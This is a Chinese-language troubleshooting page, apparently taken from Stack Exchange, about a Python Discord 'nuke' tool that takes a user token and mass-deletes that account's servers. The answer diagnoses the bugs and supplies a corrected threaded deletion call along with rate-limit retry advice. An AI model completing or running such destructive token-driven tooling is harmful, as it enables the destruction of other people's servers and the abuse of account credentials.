Python开发Discord工具elif分支触发TypeError报错排查
Discord工具删除服务器模块报错排查
问题背景
开发包含16项功能的Discord工具过程中,开发删除Discord服务器功能模块时,elif语句块执行触发报错,已尝试所有已知排查方法均未解决,核心报错为执行for guild in acc['guildsID']语句时,抛出TypeError: 'NoneType' object is not subscriptable异常。
关联代码
登录函数代码
def login(token): data = {} @client.event async def on_ready(): try: os.system(f'title 8300 │ Authenticated: {client.user.name}#{client.user.discriminator}') RPC.close() RPC.connect() RPC.update(state=f'Authorized Token: {client.user.name}#{client.user.discriminator}', details='Awaiting Nuke Option', large_image='8300',small_image="8300",large_text="discord.gg/83",small_text="8300") except Exception as e: pass
删除服务器函数代码
def deleteg(guild, token): re = requests.delete(f'https://discord.com/api/v8/guilds/{guild}', headers={"Authorization": token}) if re.status_code == 200 or re.status_code == 201 or re.status_code == 204: print(f"{r}[{g}STATUS{r}] {g}Deleted {r}>> [ {g}{guild} {r}]") elif re.status_code == 429: print(f"{r}[{g}STATUS{r}] {g}Failed Delete {r}>> [ {g}{guild} {r}]") time.sleep(re.json()['retry_after'])
elif分支业务逻辑代码
elif opcija == 2: clear() token = input("Enter a token of the user: ") acc = login(token) for guild in acc['guildsID']: threading.Thread(target=deleteG(), args=(guild,token,))
完整报错栈
Traceback (most recent call last): File "C:\Users\OVDE KLIK\Documents\Projekat\main.py", line 191, in <module> dizajn() File "C:\Users\OVDE KLIK\Documents\Projekat\main.py", line 187, in dizajn for guild in acc['guildsID']: TypeError: 'NoneType' object is not subscriptable
根因分析
- 核心触发原因:
login()函数没有写任何return返回值,Python中无显式return的函数默认返回None,因此变量acc实际是None类型,对None做下标取值['guildsID']必然触发类型错误。函数内定义的data = {}既没有填充用户、服务器相关数据,也没有被返回,属于无效代码。 - 登录流程不完整:
login()函数内只注册了on_ready事件,没有调用客户端启动方法(比如client.run(token))发起连接,注册的回调根本不会触发,永远拿不到登录后的用户数据。 - 逻辑时序错误:
on_ready是discord客户端的异步回调事件,就算补了客户端启动逻辑,调用login后客户端还没完成连接鉴权、没拉取到用户的服务器列表,代码就直接往下执行遍历逻辑,也拿不到有效数据。 - 线程调用错误:定义的删除函数名为
deleteg(末尾g为小写),调用线程时写的deleteG(大写G)会触发名称错误;且target=deleteG()加了括号会直接同步执行函数,不会把函数对象传给线程做异步执行;另外创建线程后没有调用start()方法,线程根本不会运行。 - 限流逻辑缺失:429限流分支只做了sleep,没有重试逻辑,限流等待结束后不会重新发起删除请求。
修复要点
- 补全login逻辑:添加客户端启动代码,等
on_ready事件触发、客户端拉取到当前用户所有所属服务器ID后,把数据存入返回值,再执行后续遍历逻辑;也可以直接把删服务器的逻辑放到on_ready回调里,规避异步时序问题。 - 修正线程调用写法:target参数传函数对象不要加括号,函数名和定义保持一致,创建线程后必须调用
start()启动,示例写法:threading.Thread(target=deleteg, args=(guild,token)).start()。 - 补全429限流后的重试逻辑,sleep结束后重新调用删除接口。
- 增加acc非空判断,鉴权失败时直接抛出明确提示,避免类型错误。
内容的提问来源于stack exchange,提问作者Peruska
相关产品推荐
相关产品推荐

